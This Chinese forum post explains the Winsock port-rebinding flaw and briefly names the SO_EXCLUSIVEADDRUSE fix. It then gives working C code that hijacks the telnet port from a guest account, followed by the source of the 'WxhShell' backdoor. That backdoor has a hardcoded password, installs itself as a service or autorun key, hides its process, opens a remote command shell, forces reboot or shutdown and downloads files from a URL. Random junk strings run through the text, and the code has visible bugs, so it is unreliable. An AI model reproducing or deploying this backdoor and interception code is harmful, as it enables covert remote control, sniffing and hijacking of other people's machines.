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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .N\t3\9}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bmKvvq  
0D  `9  
  saddr.sin_family = AF_INET; n%~r^ C_  
Bqk+ne  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?hIDyM  
5N ;xo??  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {cdrMP@""  
M.)z;[3O  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wXBd"]G)C  
`(O#$n  
  这意味着什么?意味着可以进行如下的攻击: #E<~WpP  
1UB.2}/:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [W <j  
9j5Z!Vsy  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) EF=5[$ u  
7nW <kA  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;\ j'~AyCn  
V$u:5"qu0  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  MBQ|*}+;  
k<N5*k8M  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 '^_^o)0gp  
u'Hh||La"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 FS('*w&bP  
V;~\+@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $V/Ke  
wW<u)|>ye  
  #include cN\_1  
  #include k%s,(2)30  
  #include O%&N6U  
  #include    i?mUQ'H  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ps/|^8aGZ  
  int main() gh^w !tH3  
  { 9u3P>a~b  
  WORD wVersionRequested; ##1/{9ywy  
  DWORD ret; 4"^W/Zo  
  WSADATA wsaData; Sj8fo^K50  
  BOOL val; ~)ysEZl  
  SOCKADDR_IN saddr; `\=~ $&vjC  
  SOCKADDR_IN scaddr; uY3#,  
  int err; "tA.`*  
  SOCKET s; 6&2{V? W3  
  SOCKET sc; Ngm/5Lc  
  int caddsize; n# FkgXP$  
  HANDLE mt; Z 2$S'}F  
  DWORD tid;   $lUz!m jG  
  wVersionRequested = MAKEWORD( 2, 2 ); a 5w E{K  
  err = WSAStartup( wVersionRequested, &wsaData ); dXU6TCjU7  
  if ( err != 0 ) { H87k1^}HV  
  printf("error!WSAStartup failed!\n"); v|3mbApv  
  return -1; !!~r1)zN  
  } i+I1h=  
  saddr.sin_family = AF_INET; vsYbR3O  
   A\.{(,;kp  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [Qqss8a  
`vf]C'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8>X]wA6q  
  saddr.sin_port = htons(23); 1ZvXRJ)%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gf/<sH2}  
  { zzT4+wy`  
  printf("error!socket failed!\n"); &m TYMpA  
  return -1; $bZ5@)E  
  } 3i9~'j;F3  
  val = TRUE; xp]9Z]J1l  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 wV4MP1c$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) h +9~^<oFl  
  { CUaL  
  printf("error!setsockopt failed!\n"); jRW@$ <mG  
  return -1; W/%9=g$m  
  } ~!/agLwY  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zN\C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +zl [C  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6O*lZNN  
[ -R[rF  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1I8<6pi-  
  { q 'uGB fE.  
  ret=GetLastError(); FrV8_[  
  printf("error!bind failed!\n"); U8<C4  
  return -1; `9|Uu#x  
  } =(v'8?--  
  listen(s,2); TW1#'G_#  
  while(1) YuoIhT  
  { In;+wFu;M  
  caddsize = sizeof(scaddr); $JiypX^DOP  
  //接受连接请求 gy"<[N .?c  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [Y^h)k{-$  
  if(sc!=INVALID_SOCKET) R|_._Btu!  
  { Y6(= cm  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); mR8tW"Z2  
  if(mt==NULL) 9H+Q/Q*-a  
  { 1*trtb4F  
  printf("Thread Creat Failed!\n"); Bz>5OuOVS\  
  break; 7'|aEH  
  } SU jo%3R  
  } |ZOdfr4uW  
  CloseHandle(mt); c Ze59  
  } QI78/gT,d  
  closesocket(s); ieXi6^M$  
  WSACleanup(); f|~X}R  
  return 0; }eveNPB{5  
  }   4`") aM  
  DWORD WINAPI ClientThread(LPVOID lpParam) s3 VD6xi7  
  { "w__AYHV  
  SOCKET ss = (SOCKET)lpParam; m!]J{OGG:  
  SOCKET sc; 1Afy$It/{  
  unsigned char buf[4096]; [ B*r{  
  SOCKADDR_IN saddr; {$ v^2K'C  
  long num; g2A#BMe'.$  
  DWORD val; js% n]$N  
  DWORD ret; |f(*R_R  
  //如果是隐藏端口应用的话,可以在此处加一些判断 nwIj?(8x  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %.HLO.A  
  saddr.sin_family = AF_INET; '~1Zr uO  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =r3g:j/>q  
  saddr.sin_port = htons(23); (^E5y,H<g  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) </aQ  
  { sd =bw  
  printf("error!socket failed!\n"); : t /0  
  return -1; V/zmbo)  
  } Tr;.O?@{t}  
  val = 100; ^)C#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,Z}ST|$u  
  { "<^n@=g'q  
  ret = GetLastError(); k;)mc+ ~+  
  return -1; $8SSu|O+x  
  } '`f+QP=`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u! dx+vd  
  { cvhwd\  
  ret = GetLastError(); wSPmiJ/!  
  return -1; qk(bA/+e  
  } -= izu]Fb,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) W=OryEV?  
  { @]p {%"$  
  printf("error!socket connect failed!\n"); ]Tg@wMgI  
  closesocket(sc); q?@*  
  closesocket(ss); 7>0u N|  
  return -1; g:GywX W  
  } M^>l>?#rl  
  while(1) t*H|*L#YR  
  { WWo"De@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }X/YMgJ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 VJ_fA}U  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 rBy0hGx  
  num = recv(ss,buf,4096,0); gGx(mX._L?  
  if(num>0) ?/-WH?1I  
  send(sc,buf,num,0); KWAd~8,mk  
  else if(num==0) `"<hO 'WU  
  break; [-\U)>MY(p  
  num = recv(sc,buf,4096,0); t%0c$c  
  if(num>0) >yHtGIHe-  
  send(ss,buf,num,0); v~jm<{={g  
  else if(num==0) `H$=hr  
  break; FK94CI  
  } R.F l5B  
  closesocket(ss); &K(y%ieIJ  
  closesocket(sc); d|9]E&;,  
  return 0 ; j+{cc: h"X  
  } 8#- Nx]VM  
! Vlx  
%lGOExV%  
========================================================== !`1m.  
<r`;$K  
下边附上一个代码,,WXhSHELL "@/pQoLy  
uOy/c 8`  
========================================================== Un,'a8>V`  
MX7Ix{  
#include "stdafx.h" 3EY m@oZj  
2FV@ ?x0po  
#include <stdio.h> M_.Jmh<&&  
#include <string.h> a?8)47)  
#include <windows.h> }Nwp{["}]L  
#include <winsock2.h> ;aX?K/  
#include <winsvc.h> aNNRw(0/  
#include <urlmon.h> (_CvN=A  
#62ThH~  
#pragma comment (lib, "Ws2_32.lib") )b>misb/  
#pragma comment (lib, "urlmon.lib") gsM^Pu09ud  
kR^h@@'F"  
#define MAX_USER   100 // 最大客户端连接数 \[.qN  
#define BUF_SOCK   200 // sock buffer #N >66!/V  
#define KEY_BUFF   255 // 输入 buffer "`cPV){]  
Mx`';z8~  
#define REBOOT     0   // 重启 c$L1aZo  
#define SHUTDOWN   1   // 关机 ?wCX:? g  
=>tkc/aa  
#define DEF_PORT   5000 // 监听端口 ztX$kX:_m  
jgG9?w)|u  
#define REG_LEN     16   // 注册表键长度 qQG? k~r  
#define SVC_LEN     80   // NT服务名长度 fDfph7[)  
j>:N0:  
// 从dll定义API ]4 c+{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~LV]cX2J(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HF_8661g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q~svtN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~+Pe=~a[  
j3/6hE>  
// wxhshell配置信息 ZAN~TG<n  
struct WSCFG { -)')PV_+  
  int ws_port;         // 监听端口 .udLMS/_  
  char ws_passstr[REG_LEN]; // 口令 U.P1KRY|=  
  int ws_autoins;       // 安装标记, 1=yes 0=no M|%bxG^l  
  char ws_regname[REG_LEN]; // 注册表键名 O_4B> )zd  
  char ws_svcname[REG_LEN]; // 服务名 a EIz,^3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 42"nbJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6Z J-oT!.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .IdbaH _a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rXD:^wUSc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iCg%$h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E7? n'!=  
37a1O>A  
}; @_-,Q5  
0NZ'(qf~9  
// default Wxhshell configuration ,pGA|ob  
struct WSCFG wscfg={DEF_PORT, Qr3!6  
    "xuhuanlingzhe", \X %FM"r  
    1, *9kg \#  
    "Wxhshell", iz`>'wpC  
    "Wxhshell", :"!Z9l\@  
            "WxhShell Service", md'wre3  
    "Wrsky Windows CmdShell Service", 63Gq5dF  
    "Please Input Your Password: ", 7>O`UT<t4@  
  1, }kvix{  
  "http://www.wrsky.com/wxhshell.exe", Er j{_i?R?  
  "Wxhshell.exe" sV{\IgH/x  
    }; l~]] RgU  
`Tyd1!~  
// 消息定义模块 5yoi;$~}_0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f7Nmvla[q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t7x<=rW7u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L@AFt)U  
char *msg_ws_ext="\n\rExit."; wW\@^5  
char *msg_ws_end="\n\rQuit."; [5p9p1@u{C  
char *msg_ws_boot="\n\rReboot..."; CV"}(1T  
char *msg_ws_poff="\n\rShutdown..."; !P EKMDh  
char *msg_ws_down="\n\rSave to "; bs ~P  
B?8*-0a'[  
char *msg_ws_err="\n\rErr!"; -`\rDPGf  
char *msg_ws_ok="\n\rOK!"; vMou`[\WlJ  
GyQFR?  
char ExeFile[MAX_PATH]; #9DJk,SP  
int nUser = 0; )?#K0o[<  
HANDLE handles[MAX_USER]; MW rhVn{R  
int OsIsNt; MjC<N[WO>N  
+CBN[/Z^i  
SERVICE_STATUS       serviceStatus; N^oP,^+U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q34u>VkdQI  
SEzjc ~@3  
// 函数声明 B;=Z^$%T  
int Install(void); 0$Rn|yqf%  
int Uninstall(void); ` wEX;  
int DownloadFile(char *sURL, SOCKET wsh); ' abEY  
int Boot(int flag); A ~vx,|I  
void HideProc(void); IWq\M,P  
int GetOsVer(void); |Sjy   
int Wxhshell(SOCKET wsl); Jaw1bUP!oK  
void TalkWithClient(void *cs); iU 6,B  
int CmdShell(SOCKET sock); PsNrCe%e  
int StartFromService(void); 8h=m()Eu  
int StartWxhshell(LPSTR lpCmdLine); ]m 3cm  
xgIb6<qwY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); klQmo30i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VZcW 3/Y  
iKPgiL~  
// 数据结构和表定义 |-S!)iG1V  
SERVICE_TABLE_ENTRY DispatchTable[] = U'" #jT  
{ Ar >JQ@0  
{wscfg.ws_svcname, NTServiceMain}, w>X@ ,  
{NULL, NULL} `x _(EZ  
}; y'^U4# (  
L{jx'[C  
// 自我安装 BSHS)_xs  
int Install(void) "A Bt  
{ _p:n\9k  
  char svExeFile[MAX_PATH]; F68e I%Y  
  HKEY key; -|}?+W  
  strcpy(svExeFile,ExeFile); $-UVN0=  
%(&ja_oO  
// 如果是win9x系统,修改注册表设为自启动 Wm-$l  
if(!OsIsNt) { +i!HMyM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M.y!J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w`8H=Hf  
  RegCloseKey(key); P]^OSPRg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D['J4B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !?ZR_=Y%  
  RegCloseKey(key); #lqH/>`>  
  return 0; =C,DR4xh  
    } U { 0~&  
  } /77cjesZ9  
}  .GJbrz  
else { 0!YVRit\N  
X(x,6cC  
// 如果是NT以上系统,安装为系统服务 6 L4\UT r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9Cd/SlNV2  
if (schSCManager!=0) 6p)&}m9!  
{ }a!|n4|`  
  SC_HANDLE schService = CreateService N`IXSE  
  ( tx[;& ;  
  schSCManager, bf.+Ewb(  
  wscfg.ws_svcname, )?radg  
  wscfg.ws_svcdisp, [I%e Ro[  
  SERVICE_ALL_ACCESS, U3B&3K} ~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XQ[\K6X5  
  SERVICE_AUTO_START, 3,G|oR{D  
  SERVICE_ERROR_NORMAL, N e{=KdzT  
  svExeFile, [>GblL  
  NULL, 3O*iv{-&  
  NULL, X4:84  
  NULL, a'Cny((  
  NULL, |7,$.MK-@  
  NULL V+1c<LwT  
  ); Ygg+=@].@  
  if (schService!=0) S"Vr+x?  
  { 3)>re&  
  CloseServiceHandle(schService); &/^p:I  
  CloseServiceHandle(schSCManager); @6DKw;Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :tFc Pc'  
  strcat(svExeFile,wscfg.ws_svcname); 6@# =z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n7ZJ< ~wl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DC>?e[oOz  
  RegCloseKey(key); >#r0k|3J^J  
  return 0; T7ShE-X  
    } a0JMLLa [I  
  } 3nhQ^zqf  
  CloseServiceHandle(schSCManager); t4;gY298  
} ?\4kV*/Cqz  
} lws.;abm%n  
`r=^{Y  
return 1; R=R]0  
} j3w~2q"r  
@fo(#i&  
// 自我卸载 {7IZN< e  
int Uninstall(void) G DBV  
{  wDiq~!  
  HKEY key; L28wT)D-  
Tp~Qg{%Og  
if(!OsIsNt) { er 1zSTkg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1 5|gG<-  
  RegDeleteValue(key,wscfg.ws_regname); mrsN@(X0  
  RegCloseKey(key); rjfWty%6pX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ri3*~?k00  
  RegDeleteValue(key,wscfg.ws_regname); (Y&gse1}!  
  RegCloseKey(key); Gyi0SM6v5&  
  return 0; Ygfy;G%  
  } a&mL Dh/  
} A #pH$s  
} bTYR=^9  
else { -ImO y|  
I L&PN`#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E'+z.~+  
if (schSCManager!=0) 4ee-tKH  
{ -DZ5nx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NQ '|M  
  if (schService!=0) c2gZ<[~  
  { 8-L -W[  
  if(DeleteService(schService)!=0) { WT 5 2  
  CloseServiceHandle(schService); *&_(kq z'1  
  CloseServiceHandle(schSCManager); X"f]  
  return 0; qvh8~[  
  } ,4,./wIq  
  CloseServiceHandle(schService); |F =.NY  
  } =jG."o  
  CloseServiceHandle(schSCManager); \<} e?Yx%  
} loyhNT=  
} }&l%>P  
\$,;@H5I^  
return 1; |mw3v>  
} BQgK<_  
\%W"KLP  
// 从指定url下载文件 [;C*9Nl  
int DownloadFile(char *sURL, SOCKET wsh) ){tT B  
{ 5cr\ JR  
  HRESULT hr; *2m{i:3  
char seps[]= "/"; wX@g >(  
char *token; S; !7 /z  
char *file; dP/1E6*m  
char myURL[MAX_PATH]; 99Nm?$ g  
char myFILE[MAX_PATH]; -0*z"a9<p8  
v?q)E%5j  
strcpy(myURL,sURL); f F9=zrW  
  token=strtok(myURL,seps); lxLEYDGFS  
  while(token!=NULL) al]-*=v7}  
  { V9D>Xh!0H  
    file=token; [:{HX U7y  
  token=strtok(NULL,seps); H$3:Ra+ S  
  } _/}/1/y$Y  
_s0;mvz'  
GetCurrentDirectory(MAX_PATH,myFILE); P[gYENQ   
strcat(myFILE, "\\"); T$Rf  
strcat(myFILE, file); cs Gd}2VE  
  send(wsh,myFILE,strlen(myFILE),0); E$5A 1  
send(wsh,"...",3,0); T5TA kEVl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x?G"58  
  if(hr==S_OK) AUm5$;o,/  
return 0; kfs[*ku  
else R\lUE,o]<q  
return 1; G9 ra;.  
PCiwQ4~  
} \ UiITP<  
3m/XT"D  
// 系统电源模块 |il P>b  
int Boot(int flag) Ibu  5  
{ 6F3FcUL  
  HANDLE hToken; y9Q.TL>=[  
  TOKEN_PRIVILEGES tkp; \2y [Hy?  
V\r2=ok@y  
  if(OsIsNt) { @`:z$52  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #HmZe98[%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DYW&6+%,hO  
    tkp.PrivilegeCount = 1; ?%i~~hfH#N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Kr@6m80E5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7E\k97#G  
if(flag==REBOOT) { ->a |  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qPgny/(  
  return 0; [ih^VlZ  
} 18G=j@k7  
else { 9%^O-8!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DAx 1  
  return 0; gH|:=vfYUR  
} )EIT>u=  
  } &[y+WrGG  
  else { fsUZG6  
if(flag==REBOOT) { ! +XreCw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^.@F1k  
  return 0; a<l DT_2b  
} V&J'2Lq  
else { #= @?)\~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -s9()K(vZG  
  return 0; =&roL7ps  
} yUEvva  
} ?OVje9  
Oz Axnd\.N  
return 1; +PKd </*]  
} KLgg([  
(W+aeB0  
// win9x进程隐藏模块 \"6?*L|]  
void HideProc(void) p;.M .  
{ 1;eWnb(  
2$FH+wuW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); arN=OB  
  if ( hKernel != NULL ) C{OkbE"Vym  
  { MM(\>J[Uq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); eD!mR3Ai@D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LpN3cy>U  
    FreeLibrary(hKernel); K>G.HN@  
  } jGe%'A N\  
O2"5\@HfE  
return; in`|.#  
} cc0T b  
OxN[w|2\4  
// 获取操作系统版本 0G`@^`  
int GetOsVer(void) P=R-1V  
{ {%c&T S@s  
  OSVERSIONINFO winfo; 3!vnSX(iv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P|t2%:_  
  GetVersionEx(&winfo); y% O^Zm1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -^q;e]+J  
  return 1; (C0Wty  
  else YP>J'{?b*"  
  return 0; h.q9p!  
} N9 h|_ax  
`R!Q(rePx  
// 客户端句柄模块 o pTH6a  
int Wxhshell(SOCKET wsl) TG% w  
{ #_WkV  
  SOCKET wsh; Po*!eD  
  struct sockaddr_in client; 6Ta+f3V   
  DWORD myID; (__$YQ-  
6-FM<@H{  
  while(nUser<MAX_USER) xjD."q  
{ |K9*><P?)2  
  int nSize=sizeof(client); EvH/d4V;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /B)2L]6p  
  if(wsh==INVALID_SOCKET) return 1; _}F _Q5)  
3aU5rbi|B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EP^qj j@M  
if(handles[nUser]==0) >~_z#2PA  
  closesocket(wsh); +;4;~>Y  
else IwRP,MQ~  
  nUser++; a~?B/ g&_  
  } suE8"v!sk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Kp^"<%RT  
%a FZbLK  
  return 0; '#SZ|Rr6tX  
} )O5@R  
t2Jf+t_B7  
// 关闭 socket :,fT^izew  
void CloseIt(SOCKET wsh) hQ(^;QcSu  
{ ]=9 d'WL  
closesocket(wsh); (E7"GJ  
nUser--; rIb~@cR)  
ExitThread(0); )Ly ~\*  
} V'tR \b  
% 8wBZ~1-  
// 客户端请求句柄 y5F"JjQAa  
void TalkWithClient(void *cs) Ghc U ~  
{ ZjY,k  
crOSr/I$  
  SOCKET wsh=(SOCKET)cs; q*5L",  
  char pwd[SVC_LEN]; LT>_Y`5>  
  char cmd[KEY_BUFF]; V)`A,7X  
char chr[1]; zyO=x 4U8  
int i,j; E_I-.o|  
>F:1a\c  
  while (nUser < MAX_USER) { ZZZ`@pXm;  
L)&^Pu  
if(wscfg.ws_passstr) { M$.bC0}T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (X-( WMsqQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :*BN>*1^\r  
  //ZeroMemory(pwd,KEY_BUFF); >2#<tH0  
      i=0; ^*4#ZvpG2  
  while(i<SVC_LEN) { j`q>YPp  
QV.>Cy  
  // 设置超时 @ *~yVV!5  
  fd_set FdRead; TB?'<hD:  
  struct timeval TimeOut; &WLN   
  FD_ZERO(&FdRead); /4OQx0Xmm  
  FD_SET(wsh,&FdRead); (T$cw(!  
  TimeOut.tv_sec=8; `?.6}*4@_A  
  TimeOut.tv_usec=0; 5._QI/d)'J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -^yc<%U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pbDr:kBL  
!vRN'/(Vyu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N\&VJc  
  pwd=chr[0]; Q]GS#n  
  if(chr[0]==0xd || chr[0]==0xa) { F):kF_ho  
  pwd=0; {fDRVnI?  
  break; wBg?-ji3<  
  } .[eC w  
  i++; bGB$a0  
    } k)z>9z%D  
%yc-D]P/  
  // 如果是非法用户,关闭 socket 34CcZEQQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y(aUB$"  
} #|+4`Gf^  
6jm?d"9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^6{op3R_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6.tA$#6HP  
AMB{Fssz  
while(1) { z80(+ `   
m<#^c?u  
  ZeroMemory(cmd,KEY_BUFF); =mX26l`B  
%hmRh~/&  
      // 自动支持客户端 telnet标准   `e;r$Vpd_  
  j=0; kWa5=BW2f  
  while(j<KEY_BUFF) { trjpq{,[U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GzaGTd.b  
  cmd[j]=chr[0]; g - !  
  if(chr[0]==0xa || chr[0]==0xd) { cGm?F,/`  
  cmd[j]=0; nVoWER:  
  break; }&L%c>  
  } PP\ bDEPy  
  j++; !#%>,X#+  
    } Ad,n+%"e  
s8's(*]  
  // 下载文件 Y j bp:  
  if(strstr(cmd,"http://")) { wC%qSy'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x%k@&d;z  
  if(DownloadFile(cmd,wsh)) ~uq010lMno  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); | @ ut/  
  else WK?5`|1l:x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xR kw+  
  } g yV>k=B  
  else { V'>Plb.A  
a6;[Z  
    switch(cmd[0]) { 5_](N$$  
  1anh@T.  
  // 帮助 !"yr;t>|Zb  
  case '?': { ,W[J@4.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sG_/E-%5'  
    break; Ua:@,};  
  } QnP3U  
  // 安装 S2\;\?]^~  
  case 'i': { + a nsN~3  
    if(Install()) } )L z%Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,YvOk|@R  
    else q1eMK'1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y-y yg4JH  
    break; .QKyB>s  
    } flC%<V%'-  
  // 卸载 Xj{fM\,"9  
  case 'r': { l"}_+5  
    if(Uninstall()) 1,;zX^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7p]Izx8][  
    else >l AtfN='  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2YKa <?_  
    break; IKP GqoM  
    } &*7KQd  
  // 显示 wxhshell 所在路径 yj_> G  
  case 'p': { #6ePwd  
    char svExeFile[MAX_PATH]; DZC@^k \E  
    strcpy(svExeFile,"\n\r"); I-r+1gty  
      strcat(svExeFile,ExeFile); |]@Pq[Hn|  
        send(wsh,svExeFile,strlen(svExeFile),0); rqmb<# Z  
    break; U7 D!w$4  
    } D%yY&q;  
  // 重启 r <5}& B`  
  case 'b': { 9>9EZ?4m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  =s4(Y  
    if(Boot(REBOOT)) p+V#86(3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *QiQ,~Ep  
    else { -GCo`PR?b  
    closesocket(wsh); If,p!L  
    ExitThread(0); I@9'd$YY  
    } X@DW1<wEt  
    break; 2NMs-Zs  
    } h5@G eYda  
  // 关机 4_=2|2Wz[  
  case 'd': { s b;q)Rh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P7.bn  
    if(Boot(SHUTDOWN)) ,?|$DY+=  
